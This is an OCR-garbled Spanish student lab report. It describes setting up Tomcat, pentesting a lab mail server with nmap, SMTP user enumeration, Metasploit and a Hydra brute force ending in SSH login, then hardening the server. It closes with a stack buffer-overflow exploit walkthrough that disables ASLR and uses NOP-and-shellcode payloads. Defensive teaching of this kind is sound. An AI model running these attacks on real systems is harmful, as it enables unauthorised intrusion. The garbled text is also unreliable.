Leyendo la informacion de estado... Hecho

oracle-javal7-set-default ya esta en su versidon mas reciente (17.0.6-1~1linuxupri

singd).

fijado oracle-javal7-set-default como instalado manualmente.

El paquete indicado a continuacidn se instalé de forma automatica y ya no es nec

esario.

php8.1-imagick

Utilice «sudo apt autoremove» para eliminarlo.

® actualizados, ® nuevos se instalaran, ® para eliminar y 35 no actualizados.
HL

-

Ejecutar el comando sudo apt install tomcat9 tomcat9-admin parala
instalacion del tomcat9.

Sudo: indicamos que ejecute con permisos elevados

Apt install: comando para instalar paquetes de software desde los repositorios
oficiales

Tomcat9-admin: proporciona la interfaz de administracién web para administrar y
configurar tomcat.

server@server-virtual-machine: ~

:-$ sudo apt install tomcat9 tomcat9-admin

Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacidén de estado... Hecho
El paquete indicade a continuacién se instalé de forma automatica y ya no es nec
esario.

php8.1-imagick
Utilice «sudo apt autoremove» para eliminarlo.
Se instalaran los siguientes paquetes adicionales:

libeclipse-jdt-core-java libtcnative-1 libtomcat9-java tomcat9-common
Paquetes sugeridos:

tomcat9-docs tomcat®-examples tomcat9-user
Se instalaran los siguientes paquetes NUEVOS:

libeclipse-jdt-core-java libtcnative-1 libtomcat9-java tomcat9 tomcat9-admin

tomcat9-common
6 actualizados, 6 nuevos se instalaran, @ para eliminar y 35 no actualizados.
Se necesita descargar 12,5 MB de archives.

utilizaran 16,2 MB de espacio de disco adicional después de esta operacion.
iDesea continuar? [S/n] s
Des:1 http://ec.archive.ubuntu.com/ubuntu jammy/universe amd64 libeclipse-jdt-co
re-java all 3.27.0+eclipse4.21-1 [6.240 kB]
Des:2 http://ec.archive.ubuntu.com/ubuntu jammy-updates/universe amd64 libtomcat
9-java all 9.0.58-1ubuntu®.1 [6.047 kB]
Des:3 http://ec.archive.ubuntu.com/ubuntu jammy-updates/universe amd64 tomcat?-c
ommon all 9.0.58-1ubuntu®.1 [60,9 kB]
Des:4 http://ec.archive.ubuntu.com/ubuntu jammy-updates/universe amd64 tomcat9 a
11 9.0.58-1ubuntue.1 [37,0 kB]
Des:5 http://ec.archive.ubuntu.com/ubuntu jammy-updates/universe amd64 tomcat9-a
dmin all 9.0.58-1ubuntu@.1 [68,8 kB]
Des:6 http://ec.archive.ubuntu.com/ubuntu jammy/universe amd64 libtcnative-1 amd
64 1.2.31-1build1 [95,1 kB]
Descargados 12,5 MB en 2s (6.003 kB/s)
Seleccionando el paquete libeclipse-jdt-core-java previamente no seleccionado.
(Leyendo la base de dates ... 289628 ficheros o directorios instalados actualmen
te.)
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Visualizamos el estado de tomcat, donde indica que tiene fallas por la falta de instalacion
del jdk

:-5 sudo systemctl status tomcat?9
tomcat9.service - Apache Tomcat 9 Web Application Server
Loaded: loaded (/1lib/systemd/system/tomcat9.service; enabled; wvendor presei
Active: (Result: exit-code) since Mon 2024-01-15 22:44:56 -05; 565 [g
Docs: https://tomcat.apache.org/tomcat-9.0-doc/index.html
Process: 7119 ExecStartPre=/usr/libexec/tomcat9/tomcat-update-policy.sh (coi
Process: 7124 ExecStart=/bin/sh jusr/lil c/tomcat9/tomcat-start.sh >
Main PID: 7124 (code=exited, status=1/FAILURE)
CPU: 12Zms

server-virtual-machine systemd[1 tarting Apache Tomcat 9 Webf
server-virtual-machine systemd[1 tarted Apache Tomcat 9 Web [
server-virtual-machine tomcat9[7124]: =
server-virtual-machine systemd[1]: tomcat9.service: Main procesg
server-virtual-machine systemd[1]: tomcat9.service: Failed with>|

sudo apt install default-jdk
Leyendo lista de paq es... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacién de estado... Hecho
El paquete indicado a continuacidén se instald de forma automatica y ya no es nec
esario.
phps.1-imagick
Utilice «sudo apt autoremove» para eliminarlo.
Se instalaran los siguientes paquetes adicionales:
ca-certificates-java default-jdk-headless default-jre default-jre-headless
openjdk-11-jdk-headless openjdk-11-jre-headless
Paquetes sugeridos:
openjdk-11-demo openjdk-11-source fonts-dejavu-extra fonts-ipafont-gothic
fonts-ipafont-mincho fonts-wqy-microhei | fonts-wqy-zenhei
se instalaradn los siguientes paquetes NUEVO
ca-certificates-java default-jdk default-jdk-headless default-jre
default-jre-headless openjdk-11-jdk-headless openjdk-11-jre-headless
0 actualizados, 7 nuevos se instalaran, © para eliminar y 35 no actualizados.
e necesita descargar 116 MB de archivos.
e utilizaran 258 MB de espacio de disco adicional después de esta operacidn.
esea continuar? [5/n] s I
Des:1 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 openjdk-11-jr
e-headless amd64 11.0.21+9-0ubuntui~22.04 [42,5 MB]
Des:2 http://ec.archive.ubuntu.com/ubuntu jammy/main amd64 default-jre-headless
amd64 2:1.11-72build2 [3.042 B]
Des:3 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 ca-certificat
es-java all 20196909ubuntul.2 [12,1 kB]
Des:4 http://ec.archive.ubuntu.com/ubuntu jammy/main amdé4 default-jre amd64 2:1
.11-72build2 [896 B]
Des:5 http://ec.archive.ubuntu.com/ubuntu jammy-updates/main amd64 openjdk-11-3jd
k-headless amd64 11.8.21+9-0ubuntul~22.04 [73,5 MB]
Des:6 http://ec.archive.ubuntu.com/ubuntu jammy/main amd64 default-jdk-headless

Configuramos el archivo tomcat-users.xml, para agregar usuario y contrasefia.

~ server@server-virtual-machine:

GNU nano etc/tomcat9/tomca

I

I Tl

=1

IEL

59 lineas leidas
af Avuda Y Guardar @Y Buscar g Cortar Bl Ejecutar @l Ubicacion [
W salir il Leer fich.@\ Reemplazargll Pegar @8 Justifica Ir a linea
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estart tomcat9

Ingresar con las credenciales agregadas en el archivo de configuracion al sitio principal

de tomcat.
@ = Apache Tomcat X | +
« X Q, localhost:8080/manager/html

@ localhost:8080
Este sitio le pide que inicie sesion.

Nombre de usuario

[

Contrasefa

Interface de administracion de tomcat

<« €] QO D localhost:8080/manager/html g ® & =
Y
: SOFTWARE FOUNDATIGN
Gestor de Aplicaciones Web de Tomcat

‘Mensaje: ‘m‘ ‘

Listar Aplicaciones Ayuda HTML de Gestor Ayuda de Gestor Estado de Servidor

Ruta Version Nombre a Mostrar Ejecutal it [
Arrancar | Parar| | Recargar| |Replegar |

{ Ningune especificado true 0 ———
| Expirar sesiones | sin trabajar = minutos
Arrancar Recargar | | Replegar

ost-manager Ninguno especificado Tomcat Host Manager Application true Q

frestamana oo cotone s tabajar = 30 mintos
Arrancar Parar Recargar Replegar

[manager Ninguno especificado Tomcat Manager Application true 1 —_—— 5
| Expirar sesiones | sin trabajar = minutos
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VULNERABILIDADES DE SERVIDOR DE CORREOS
Vulnerabilidad de Ataque de Fuerza Bruta

Conocida la ip 192.168.216.131 y el dominio atproyecto.xyz. verificar el estado
de la conexién con maquina con el comando ping

- test@kali: ~
File Actions Edit View Help

- 192.168.216.131

PING 192.168.216.131 (192.168.216.131) 56(84) bytes of data.
64 bytes from 192.168.216.131: icmp_seq=1 ttl=64 time=0.706 ms
64 bytes from 192.168.216.131: icmp_seq=2 ttl=64 time=0.852 ms
64 bytes from 192.168.216.131: icmp_seq=3 ttl=64 time=0.711 ms
64 bytes from 192.168.216.131: icmp_seq=4 ttl=64 time=2.00 ms
o7

zsh: suspended ping 192.168.216.131

- atproyecto.xyz 192.168.216.131
Server: 192.168.216.131
Address: 192.168.216.131#53

Name: atproyecto.xyz
Address: 192.168.216.131
Name: atproyecto.xyz
Address: ::1

Identificar los puertos y servicios que estdn trabajando en la maquina 192.168.216.131,
al detectar puertos abiertos sin ningun tipo de control se puede acceder de formar
remota a un servidor.

test@kali: ~

File Actions Edit View Help

4-81-11 16:57 -85

smtp
domain
htt

imaps
pop3s

Nmap done: 1 IP address (1 host up) scanned in @.7@ seconds

- -~
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Rastreo de toda la red para identificar los hosts conectados, esto permite identificar
hosts vulnerables.
= test(@kali: ~

File Actions Edit View Help

1
WARNING: ( : C/Vendt e ieee 1 = rmission deni
z nnot open : : Permission denied
m/royhills/arp-scan

responded

Hacer un escaneo de los servicios levantados y sus respectivas versiones, al conocer las
versiones se puede identificar vulnerabilidades que pueden ser explotadas.

. 1 14 ' 192 .
Starting Nmap 7.94 ( https a rg ) a R e P
Nmap scan 1 for 192.1
Host is up (@.2819s latency).

SERVICE VERSION

mtp Postfix smtpd

domain ISC BIND 9.18 @ubuntud. 4.1 (Ubuntu Linmux)
Apache httpd 2.4.52 ((Ubuntu))

Linux; CPE: cpe
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Luego de realizar un ataque agresivo con el comando nmap -T4 -A para identificar
vulnerabilidades en el equipo, se encontrd algunas vulnerabilidades en el login disabled
y en el login pre-listen de los protocolos imap y pop3 del servidor de correo.

= test@kali: ~

File Actions Edit View Help

Starting Nmap 7.9 Z ap. ) at 2 81-11 17:11 -@5
Nmap scan repor

Host is up

Not shown:

smtp-commands: a oy ) S17 02 VRFY, ETRN, START
: ENHANCEDSTATUSCODES, 8BITM
: TLS ndomness does not
3/ tep en domain ISC BIND 9.18.
dns-nsid:
bind.version: 9.18.18-Aubuntu®
http k.5
(Ubuntu)
1t Page: It works
ot pop3d
commonName=ubuntu.localdomain
: DN ocaldomain

capabilities: PIPELINING AUTH-RESP-CODE RESP-CODES CAPA S

test@kali: ~

File Actions Edit View Help

143/tcp open imap Dovecot imapd (Ubuntu)

| _imap-capabilities: more capabilities ID OK LOGINDISABLEDA@@@1 SASL-IR have
post-login IMAP4revl ENABLE IDLE listed Pre-login LITERAL+ LOGIN-REFERRALS ST
ARTTLS

| _ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=ubuntu.localdomain

| Subject Alternative Name: DNS:ubuntu.localdomain

| Not valid before: 2024-01-02T722:08:32

| _Not valid after: 2033-12-30T22:08:32

993/tcp open ssl/imap Dovecot imapd (Ubuntu)

| ssl-cert: Subject: commonName=ubuntu.localdomain

| Subject Alternative Name: DNS:ubuntu.localdomain

| Not valid before: 2024-01-02T722:08:32

| _Not valid after: 2033-12-30T722:08:32

|_ssl-date: TLS randomness does not represent time

| _imap-capabilities: capahilities TD OK AUTH=PLAINA@@@1 SASL-IR have post-log
in IMAP4revl ENABLE IDLE listed Pre-login LITERAL+ LOGIN-REFERRALS more
995/tcp open ssl/pop3 Dovecot pop3d

| ssl-cert: Subject: commonName=ubuntu.localdomain

Subject Alternative Name: DNS:ubuntu.localdomain

Not valid before: 2024-01-02T722:08:32

Not valid after: 2033-12-30T22:08:32

ssl-date: TLS randomness does not represent time

| _pop3-capabilities: PIPELINING AUTH-RESP-CODE RESP-CODES CAPA USER SASL(PLAI
N) TOP UIDL

MAC Address: 00:0C:29:DD:7C:48 (VMware)

Device type: general purpose
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Ejecutar cédigo remoto en el servidor IMAP de Dovecot. (help, s.f.), esta ejecucion
permite deshabilitar el login de acceso en el servidor de correo.

near “"imprimir “"una identifica

imprimir "uwna identificacion (\"foo\"
compil Oon errors.
% 0K [CAPABILITY IMAP4revl -IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTT
S LOGINDISABLED] Dovecot (Ubuntu) ready.

+1 server@server-virtual-machine: ~

dovecot.service - Dovecot IMAP/POP3 email server
Loaded: loaded (/lib/systemd/system/dovecot.service; enabled; vendor prese!
Active: since Sat 2024-01-13 15:16:11 -65; 28min ago
Docs: man:dovecot(1)
https://doc.dovecot.org/
Main PID: 901 (dovecot)
Status: "v2.3.16 (7e2e980cla) running”
Tasks: 7 (limit: 2217)
Memory: 9.5M
CPU: 691ms
CGroup: [system.slice/dovecot.service
901 Jusr/sbinjfdovecot -F
1033 dovecotfanvil
1034 dovecot/log
1035 dovecotfconfig
3937 dovecot/stats
4204 dovecot/imap-login
4205 dovecot/fauth

server-virtual-machine systemd[1]: Starting Dovecot IMAP/POP3 ejg

server-virtual-machine dovecot[901]: master: Dovecot v2.3.16 (7

server-virtual-machine systemd[1]: Started Dovecot IMAP/POP3 emg
B server-virtual-machine dovecot[1034]: imap-login: Disconnected:>|
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Luego de habilitar la ejecucion remota de cédigo, en el servidor se puede observar cdmo
dovecot/imap-login aparece como desconectado.

[+1 server@server-virtual-machine: ~

dovecot.service - Dovecot IMAP/POP3 email server
Loaded: loaded (/lib/systemd/system/dovecot.service; enabled; vendor preseH
Active: since Sat 2024-01-13 15:16:11 -05; 32min ago
Docs: man:dovecot(1)
https://doc.dovecot.org/
Main PID: 901 (dovecot)
Status: "v2.3.16 (7e2e908cla) running”
Tasks: 5 (limit: 2217)
Memory: 7.5M
CPU: 698ms
CGroup: /[system.slice/dovecot.service
9801 fusr/sbin/dovecot -F
1033 dovecot/fanvil
1034 dovecot/log
1035 dovecotfconfig
3937 dovecot/stats

server-virtual-machine systemd[1]: Starting Dovecot IMAP/POP3 eg

server-virtual-machine dovecot[901]: master: Dovecot v2.3.16 (7g

server-virtual-machine systemd[1]: Started Dovecot IMAP/POP3 emg
B server-virtual-machine dovecot[1034]: imap-login: Disconnected:j
B server-virtual-machine dovecot[1034]: pop3-login: Disconnected:j
B server-virtual-machine dovecot[1034]: pop3-login: Disconnected:>|

Existe una vulnerabilidad detectada, conocida como “Pentesting SMTP/s” (HackTricks,
s.f.), 1a cual con el uso del comando telnet sobre la ip del servidor y el puerto 25 se va
obteniendo informacién del servidor de forma remota, datos como el nhombre del
dominio, usuarios, direcciones de correo

0

test@kali: ~

File Actions Edit View Help

ntax: HELO hostname

Error: command not recognized

command not recognized

>! Recipient address rejected: User unknown in local recipient tab

RCPT TO:daniel
2.1.5 0k
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Ejecutar el comando msfconsole para visualizar los exploits disponibles referente a las
versiones detectadas en los servicios habilitados en el servidor.

test@kali: ~

File Actions Edit View Help

To boldly go where no
shell has gone before

Ejecutar el exploit “smtp_version” en msfconsole
1. Search smtp version

2. Set RHOST 192.168.216.131
3. Run

Se obtiene el nombre del dominio y la version del smtp que estd instalada

msfé > search smtp_version

Matching Modules

#  Name Disclosure Date Rank Check Descri
ption

normal No SMTP B

) > set RHOST 192.16¢

) > run

- 192.1¢ 6.13 SMTP 2 atproyecto. Post

Scanned 1 of 1 hosts (1
a ecution completed
msf6 auxiliary( Y |
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Ejecutar el exploit “smtp enum” que permite visualizar los usuarios del servidor, al
detectar los usuarios se puede buscar la forma de descifrar las contrasefias en una
wordlists.

msf6 auxiliary( ) > search smtp_enum

Matching Modules

Modificar:
1. USER_FILE con /usr/share/seclists/Usernames/top-usernames-shortlist.txt
2. RHOST 192.168.216.131
3. RUN

1 auxiliary/scanner/smtp/smtp_enum normal No
SMTP User Emumeration Utility

Interact with a module by name or index. For example 1

msf6 > use 1

msf6 auxiliary( ) > set USER_FILE /usr/share/seclists/Userna
mes/top-usernames-shortlist.txt

USER_FILE = /usr/share/seclists/Usernames/top-usernames-shortlist.txt

msf6 auxiliary( ) > set RHOST

RHOST =

msf6 auxiliary( ) > set RHOST 192.168.216.131

RHOST = 192.168.216.131

msf6 auxiliary( ) > run

192.168.216.131:25 - 192.168.216.131:25 Banner: 220 atproyecto.xyz ESMTP P
ostfix (Ubuntu)
[+] 192.168.216.131:25 - 192.168.216.131:25 Users found: mysql
192.168.216.131:25 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary( ) > 1
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Busqueda de contrasefias mediante el comando hydra en el listado rockyou.txt.gz (lista
de contrasefias), se realiza una comparacidn entre usuarios y contrasefias hasta detectar
una coincidencia.

)-[fusr/share/wordlists]
daniel -P rockyou.txt.gz
Hydra v9.5 ( y van Hauser/THC & David Ma
militar O SeCrt er e or izations, or for
ics anyw

ithub.com/vanhauser-thc/thc-hydra) starting at

duce Thﬂ.t
! 1b tasks per
q

[DATA] atta g
[VERBOSE] Resolving add ; AL [#EFEO E] resolving done
[INFO] Testing if password authentication is supported by
8.216. HY.
[INFO] ssful, password authentication is supported by
131::
[ATTEMPT] ta 192.168.216.131 login "daniel”
4399 [child @] (
[ATTEMPT] ta .168.216.131 login "daniel”
399 [child 1] (
[ TTEMPT] ta . 216.131 login "daniel”
43 = | \
[ATTEMPT] t .168.216.131 login "daniel”
399 [child

Luego de realizar el analisis en todo el listado de contrasefas, buscando alguna
coincidencia con el usuario daniel, se detect6 el password daniel.

[VERBOSE] Disabled |h11d 15 because of too many errors
2 | in: da assword: daniel
192 . 1¢ 6.131 (waiting for children to complet

t cessfully compl ] jord found
[WARNING] Writing restore file because 4 f'nal wWo r threads did not complet
e until end.

[ERROR] & t did not resolve or could not be connected

[EFFUF] @ did not mplet
i /vanhauser-thc/thc-hydra) finished a

)-[fusr/share/wordlists ]
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Conexion remota mediante ssh apuntando a daniel@192.168.216.131, al conocer la
clave que se obtuvo con hydra se puede acceder al servidor remoto, con el usuario y
contrasefa.

o daniel@server-virtual-machine: ~

File Actions Edit View Help

daniel@®192.168.216.131
The authenticity of host '192.168.216.131 (192.168.216.131)' can't be establi
shed.
ED25519 key fingerprint is SHA256:2ZNvTvJYzI1J1v5FEkqQRsQBbPgk0S1LufPHCcDG1UC

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? y

Please type 'yes', 'no' or the fingerprint: y

Please type 'yes', 'no' or the fingerprint: yes

Warning: Permanently added '192.168.216.131" (ED25519) to the list of known h
osts.

daniel@®192.168.216.131"'s password:

Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.5.0-14-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

El mantenimiento de seguridad expandido para Applications esta desactivado

Se pueden aplicar 35 actualizaciones de forma inmediata.
Para ver estas actualizaciones adicionales, ejecute: apt list —upgradable

5 actualizaciones de seguridad adicionales se pueden aplicar con ESM Apps.
Aprenda mas sobre como activar el servicio ESM Apps at https://ubuntu.com/esm

daniel@server-virtual-machine:~$ 1s
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CAMBIOS EN LA CONFIGURACION PARA CORREGIR VULNERABILIDADES

En el fichero dovecot.conf agregar los protocolos imaps y pop3s para aumentar el nivel
de seguridad en la transmisién de datos. La activacion de security protocols es
fundamental en el trafico de red.

server@server-virtual-machine: ~

GNU nano 6.2 etc/dovecot/dovecot.conf *

!include conf.d/*.conf

!include_try local.conf
protocols = imap imaps pop3 pop3s
all_location = maildir:~/Maildir
o .
5 g

= [var/run/dovecot/

amespace inbox {
inbox = yes

e Ayuda Wl Guardar Wl Buscar Wy Cortar Wl Ejecutar {8 Ubicacion
Wil Leer fich.@| Reemplazarigl Pegar W8 Justificar@f] Ir a linea

Instalar el certificado certbot para implementar protocolos de seguridad. Los
certificados de seguridad brindan un respaldo en el cifrado de la transmisién de datos.

+1 server@server-virtual-machine: ~

:-S$ sudo apt install certbot

Leyendo lista de paquetes... Hecho

Creando arbol de dependencias... Hecho

Leyendo la informacion de estado... Hecho

El paquete indicado a continuacidén se instald de forma automatica y ya no es nec

esario.
php8.1-imagick

Utilice «sudo apt autoremove» para eliminarlo.

Se instalaran los siguientes paquetes adicionales:
python3-acme python3-certbot python3-configargparse python3-configobj
python3-icu python3-josepy python3-openssl python3-parsedatetime
python3-requests-toolbelt python3-zope.component python3-zope.event
python3-zope.hookable python3-zope.interface

Paquetes sugeridos:
python-certbot-doc python3-certbot-apache python3-certbot-nginx
python-acme-doc python-configobj-doc python-openssl-doc python3-openssl-dbg

Se instalaran los siguientes paquetes NUEVOS:
certbot python3-acme python3-certbot python3-configargparse
python3-configobj python3-icu python3-josepy python3-openssl
python3-parsedatetime python3-requests-toolbelt python3-zope.component
python3-zope.event python3-zope.hookable python3-zope.interface
actualizados, 14 nuevos se instalaran, © para eliminar y 25 no actualizados.

Se necesita descargar 1.173 kB de archivos.

Se utilizaran 6.273 kB de espacio de disco adicional después de esta operacidn.
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Integrar cerbot con apache para la obtencién de certificados https. Implementar un
encrypt en el servidor web permite la obtencidn de certificados TLS/SSL.

[+1 server@server-virtual-machine: ~ Q -

:-S$ sudo apt install python3-certbot-apache
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias... Hecho
Leyendo la informacion de estado... Hecho
El paquete indicado a continuacién se instald de forma automatica y ya no es nec
esario.
php8.1-imagick
Utilice «sudo apt autoremove» para eliminarlo.
Se instalaran los siguientes paquetes adicionales:
augeas-lenses libaugeas® python3-augeas
Paquetes sugeridos:
augeas-doc augeas-tools python-certbot-apache-doc
Se instalaran los siguientes paquetes NUEVOS:
augeas-lenses libaugeas® python3-augeas python3-certbot-apache
0 actualizados, 4 nuevos se instalaran, © para eliminar y 25 no actualizados.
Se necesita descargar 594 kB de archivos.
Se utilizaran 2.766 kB de espacio de disco adicional después de esta operacién.
;Desea continuar? [5/n] s
Des:1 http:/fec.archive.ubuntu.com/ubuntu jammy/universe amd64 augeas-lenses all
1.13.0-1 [321 kB]
Des:2 http:/fec.archive.ubuntu.com/ubuntu jammy/universe amd64 libaugeas® amd64
1.13.0-1 [200 kB]
Des:3 http://fec.archive.ubuntu.com/ubuntu jammy/universe amd64 python3-augeas al
1 0.5.0-1.1 [9.124 B]

Prueba de conexidn remota con ssh, se identifica que desde un host remoto se puede
tener acceso al servidor solo con un password.

roglsz2. 16
me to Ubuntu

Documentation:
Management:
Support:

mantenimiento de

35 actualizaciones de forma inmediata.
tualizaciones adicionales, ejecute: apt list —upgradable

adicionales se pueden aplicar n ESM Apps.
el servicio ESM Apps at https ubuntu.com/esm

Ubuntu system are
distribution terms for
indi

Ubuntu comes with ABSOLUTELY NO WARRANTY,
applicable law.

serveriserver-virtual-machine:~% I
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Modificar el fichero sshd_config con (PermitRootLogin No) para evitar conexiones
remotas para el usuario administrador. Esto evita conexiones remotas.

server@server-virtual-machine: ~

GNU nano 6.2 etc/ssh/sshd config *

ermitRootLogin Nol

¢ Ayuda WY Guardar Wl Buscar W Cortar Wil Ejecutar g8 Ubicaciodn
Salir Wil Leer fich.@] Reemplazargl] Pegar W Justificargf] Ir a linea

Reiniciar el servicio ssh para que se apliquen los cambios efectuados en el servidor.

server@server-virtual-machine: ~

service ssh restart

Luego de aplicar los cambios se hace una prueba de conexién remota y se comprueba
gue el acceso esta denegado.

& test@kali: ~

File Actions Edit View Help

S— — |~

servergl92.168.216.131

serverml92.168.216.131"'s password:
Permission denied, please try again.
server®192.168.216.131"'s password: ||
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Desbordamiento de Buffer
Esta vulnerabilidad forma parte de un fallo de componentes mencionadas en la tabla 2,
encontrando un manejo incorrecto de los argumentos de linea de comandos en la
funcién “sudoedit” de la biblioteca sudo.

Utilizar el comando cat para visualizar el contenido del archivo ramdomize_va_space
que se encuentraenlaruta /proc/sys/kernel/. Esto nos ayudara a verificar si esta
deshabilitada la proteccién de memoria.

Jhome/hmstudent
roc/sys/kernel /randomize va

Proteccion de memoria habilitada=2

Proteccion de memoria deshabilitada=0

En este caso la proteccidn se encuentra habilitada, por lo que procedemos habilitarla
mediante el comando echo pasaremos el valor de 0 como entrada al archivo.

/home/hmstudent
/proc/sys/kernel/randomize va space

/home/hmstudent
/proc/sys/kernel/randomize va space

Ya se encuentra deshabilitada la protecciéon de memoria

En el cédigo indicamos que vamos a desbordar la variable buffer que actualmente tiene
un tamano de 100 caracteres y le enviaremos un valor mayor al que soporta, nos
permitira desbordar el buffer y tener la direccién de memoria donde se encuentra
funcién premio, y ese momento tomar el control del programa y modificar el flujo.

#include <stdio.h>»
#include <string.h>»
void premio()

r

L

primtf(“ANGEL;;; has alterado el flujo del programa\n");

1
s
int main{int argc, char *argv[])
{
char buffer[188];

if (argc 1= 2)

I
L
printf("Uso: ¥s argumento\n",argv[8]);
return -1;
1
s
strepy(buffer,argv[1]);
printf ("%s\n",buffer);
return B8;
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Localizaremos el script que se encuentra en formato txt para posteriormente
convertirlo a formato c con ayuda del comando mv.

/home/hmstudent/Buffer
codigo.txt reto.c

/home/hmstudent/Buffer

reto.é shell.py

Para compilar el programa utilizamos el siguiente comando gcc -g -fno-stack-
protector -z execstack -mpreferred-stack-boundary=4 -o reto
reto.c

Gce=llama al compilador

—-g = permite que el compilador genere el archivo ejecutable
-fno-stack-protector = deshabilita la proteccion de memoria

-z execstack = permite que el cddigo se ejecute dentro de la pila
-mpreferred-stack-boundary=4 = permite que el programa se compilar y sea
compatible con arquitectura de 64 bits para la arquitectura de 32 bits se utilizaria el 2
-0 reto =-elnombre que le vamos a dar al ejecutable

reto.c = es el archivo de cédigo fuente que va a utilizar

/home/hmstudent/Buffer
execstack reto reto.c

/home/hmstudent/Buffer

Se crea el archivo ejecutable

Jhome/hmstudent/Buffer

reto reto.c shell.py

Al intentar ejecutar el comando gdb y se muestre un mensaje que indique que no
encuentra comando, se procederd a instalar con el comando apt install gdb
/home/hmstudent/Buffer

Command 'gdb' not found, but can be installed with:
apt install gdb

apt install gdb-minimal

/home/hmstudent/Buffer
install gdbl}
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Se ejecuta el comando gdb para ingresar dentro del debugger

/home/hmstudent/Buffer
./reto

Copyright (C) 2023 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <

This is free software: you are free to change and xedlstxlbute it.
There is NO WARRANTY, to the extent permitted by law.

Type "show copying” and "show warranty" for details.

This GDB was configured as "x86_64-1linux-gnu”

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

Find the GDB manual and other documentation resources online at:
<htt w.gnu.org/software/gdb tat >.

For help, type "help”

Type "apropos word" to search for commands related to "word"
Reading symbols from

(gdb) fi

Pasar pardmetros al programa, enviaremos 100 letras E. como resultado da una
ejecucion normal sin problemas, porque se encuentra dentro de sus parametros.
/home/hmstudent/Buffer

edistribute it.

rting instructions, plea

Find the GDB manual and other documentation resour

"word”

$(python -c ‘print "E" # 10@°)

Patrén de desbordamiento
/usr/share/metasploit-

framework/tolos/exploit/pattern create.rb = dentro de esta ruta se
encuentra el médulo de metaesploit, ayuda a identificar cuantos caracteres se necesitan
-1 130=longitud o patron de 130 caracteres

Posterior a la ejecucion arrojara una cadena de caracteres resultantes.

/home/hmstudent

S AC9AdOAdIAd2Ad3AdSAd
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Ejecutar el programa con la cadena de 130 caracteres con el comando run.
Una vez ejecutado se mostrard un mensaje de segmentacién fault, que indica que se
logré desbordar el buffer.

(gdb) run Aa@AalAa2Aa3AasAa5AabAa7Aa8Aa9AbOAb1Ab2Ab3Ab4ADSAD6AD7ADSADIACOACIAC2AC3ACLACSACOACTACSACIAdOAdIAd2Ad3AdLAdSAdEA
d7Ad8Ad9Ae0Ae1Ac2A

Starting program: AabAalAa2Aa3AastAaSAabAa7Aa8Aa9AbOAbIAD2Ab3AD4ADSAD6AD7ADBADIACOACIAC2ZAC3ACEA
C5AC6AC7AC8AC9AdOAdIAd2Ad3AdLAdSAdE6Ad7AdBAd9AeOAe1AC2A

[Thread debugging using libthread_db enabled]

Using host libthread_db library "
AHOAa1A37A%3A34A3SAibAa7A38A39ADOAD1AD7AD’AqubSADbAb7Ab8AD9AC0AC1A(7A(3ACAAC5AC6AC7ACSAC9AdOAdlAd7Ad’AdhAdSAd6Ad7AdSAd9Ae
0AelAe2A

Program received signal SIGSEGV, Segmentation fault.
in main ( =2, =ox7fffffffe3as) at

Averiguar cuadl es la posicion de memoria del programa con el comando x/xw Srspy
usamos el comando rsp para arquitecturas de 64bits en caso de ser arquitectura de
32bits se utiliza esp.

i $rsp
@x41306541

Averiguar el punto exacto del desbordamiento, como el programa
pattern offset.rb. justo al comando -q ubicaremos donde se encuentra la
direcciéon de memoria 41306541 y utilizaremos una longitud de 130 caracteres.

/home/hmstudent
t 41306541 130
[*] Exact match at offset 170

/home/hmstudent

Cddigo ensamblador

Desensamblar la funcién premio para saber cudl es la direccion de memoria donde se
encuentra almacenada.

Utilizar la primera direccién de memoria en el cual se encuentra almacenada la funcién
premio. En este caso nuestra direccién de memoria es:

0x00005555555551b9

(gdb) disas premio
Dump of assembler code for function p
<+0>:
<H1>: oV
<450 1 # 0@x555555556008
<+11>:

<1450

<+19>:

<+20>:

<H+21>:
End of assembler dump.

(gdb) i
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AT

# 5/SALESIANA

Proceder a cambiar el formado de la direccién de memoria original a un formato
llamado Little endian
Direccién de memoria original Formato Little Endian
5555555551b9 \xb9\x51\x55\x55\x55\x55

run $(python -c ‘print “A” * 120
+7\xb9\x51\x55\x55\x55\x55"")

using libt
_db libr

uuuu
ANGEL;;; has alterado el flujo del programa

Program received sig V, Segmentation fault.

Utilizar este cddigo de python para poder acceder a la Shell del sistema operativo
nops= es una posicidn del programa que indica que no hay nada

shellcode = esta seccion ayuda a invocar a la Shell de Linux mediante el lenguaje
maquina

relleno =rellenamos con letras A con 120 caracteres

regreso =direccién de retorno una vez que termina su funcion

nops =
shellCode

)
relleno
regresg =
nops + shellCode + relleno + regreso

Asignar permisos de ejecucién al archivo Shell.py

- [~/Buffer]
+x shell.py

- [~/Buffer]

shell.py
-Twxr-xr-x 1 hmstudent hmstudent 289 Nov 29 2828 shell.py

-[~/Buffer]
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Ejecutar el srcitp de python en el programa con el comando run $(./shell.py), al final
del resultado dara una posicion de memoria que en este caso seria 0x7fffffffe3a8

(gdb) run $(./shell.py)

The program being debugged has been started already.

Start it from the beginning? (y or n) %

Starting program: to $(./shell.py)

[Thread debugging using libthread_db enabled]

Using host libthread_db library "

‘000000“00000000Q000000‘0000000“000000“000000“.QQQQOO‘QQQQQQH1.\‘[\] 7H0 //bln /ShHQ\VT J = XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAPeeee

Program received signal SIGSEGV, Segmentation fault.
in main ( =25 =0x7fffffffe3a8) at

Agregar un punto de interruccion en el codigo fuente con ayuda de un break, lo
colocaremos en una linea antes de ejecutar el buffer

(gdb) list

13

14

15 strcpy buffer argv

16 printf buffer
17

18

19

(gdb) break 15

Breakpoint 1 at A A reto.c, line 15.
(gdb) |

Ejecutar nuevamente el programa para verificar que funcone correctamente el break
que se agrego.a la vez copiaremos la direccion de memoria que en este caso es :
Ox7fffffffe3a8

(gdb) run $(./shell.py)

The program being debugged has been started already.

